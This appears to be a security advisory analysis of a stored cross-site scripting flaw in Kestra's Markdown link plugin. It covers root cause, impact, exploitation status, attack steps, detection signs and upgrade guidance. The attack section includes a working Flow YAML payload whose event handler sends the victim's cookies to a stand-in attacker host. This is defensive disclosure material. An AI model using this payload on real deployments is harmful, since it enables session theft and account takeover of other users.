CVE-2026-55839: 
Java vulnerability analysis and mitigation

CVE-2026-55839 is a stored cross-site scripting (XSS) vulnerability in Kestra, an open-source event-driven orchestration platform. The flaw exists in Kestra's custom Markdown parser (ui/src/utils/markdown_plugins/link.ts), which allows a user with Flow create/update permissions to inject JavaScript event-handler attributes via the custom [[link]] syntax into Flow descriptions. All versions prior to 1.3.24 are affected (confirmed tested on 1.3.22). The vulnerability was published on August 18, 2026, with a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Kestra Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). Kestra's custom Markdown link plugin parses [[link ...]] syntax and renders all parsed token attributes directly into raw HTML without any allowlisting or sanitization, as shown in the vulnerable code path:

const attrs = token.attrs ? token.attrs.map(([name, value]) => `${name}="${value}"`).join("") : "";
return ``;

This allows an attacker to inject arbitrary HTML attributes — including JavaScript event handlers such as onmouseover, onclick, or onfocus — into the rendered element. The payload is stored in the Flow description field and executes when any other user views the Flow list or opens the description/info panel, without requiring the Flow to be executed. The attack requires low privileges (Flow create/update permission) and user interaction from the victim (Kestra Security Advisory, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any Kestra user who views the affected Flow description or information panel. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim within the Kestra UI, and access to data visible to the victim. In multi-user deployments, a lower-privileged Flow author could target administrators or operators, potentially enabling privilege escalation or lateral movement into more privileged namespaces and administrative functionality. Availability is not directly impacted (Kestra Security Advisory, Github Advisory).

A proof-of-concept payload is publicly documented in the GitHub Security Advisory, demonstrating that a minimal [[link]] payload with injected event-handler attributes triggers JavaScript execution in the victim's browser. There is no evidence of in-the-wild exploitation or threat actor attribution at this time. The vulnerability is not listed in the CISA KEV catalog, and NVD SSVC data indicates no known exploitation. The EPSS score is approximately 0.302% (22nd percentile), reflecting a low but non-negligible probability of exploitation in the near term (Github Advisory, Kestra Security Advisory).

1. Gain low-privileged access: Obtain credentials for a Kestra account with permission to create or update Flows in any namespace.
2. Craft a malicious Flow description: Create or edit a Flow YAML with a [[link]] payload injecting a JavaScript event handler into the description field:

id: malicious_flow
namespace: company.team
description: |
  [[link x="y" style="position:fixed;inset:0;z-index:9999;background:rgba(255,0,0,0.05)" onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)"]]
tasks:
  - id: hello
    type: io.kestra.plugin.core.log.Log
    message: hello

3. Save the Flow: Submit the Flow via the Kestra UI or API. The malicious payload is stored server-side in the Flow description.
4. Wait for victim interaction: When a target user (e.g., an administrator) navigates to the Flow list at /ui/main/flows and opens the description/info panel for the malicious Flow, the injected event handler fires.
5. Achieve objective: The JavaScript executes in the victim's browser context, enabling session token exfiltration, cookie theft, or performing authenticated API actions on behalf of the victim (Kestra Security Advisory, Github Advisory).

• Logs: Kestra audit logs showing Flow create or update events by low-privileged users containing [[link syntax with attributes beyond execution, flowId, or namespace in the description field.
• Application Data: Flow descriptions in the Kestra database containing [[link tokens with on* event-handler attributes (e.g., onmouseover, onclick, onfocus) or style attributes with suspicious values such as position:fixed or high z-index.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after users interact with the Flow list UI — particularly requests carrying session cookies or authentication tokens as query parameters.
• Browser: Unexpected JavaScript alert() dialogs or console errors referencing document.domain or document.cookie when browsing the Kestra Flow list page.

Upgrade Kestra to version 1.3.24 or later, which resolves the issue by allowlisting only safe attributes (execution, flowId, namespace) in the [[link]] token renderer and rendering router-md elements as standard anchors via linkify (Kestra Release v1.3.24, Fix PR #16835). As interim mitigations: restrict Flow create/update permissions to trusted users only; audit existing Flow descriptions for suspicious [[link]] payloads containing on* attributes or unusual style values; and implement a strict Content Security Policy (CSP) header to limit the impact of any XSS execution. There is no configuration-based workaround that fully prevents the vulnerability without upgrading.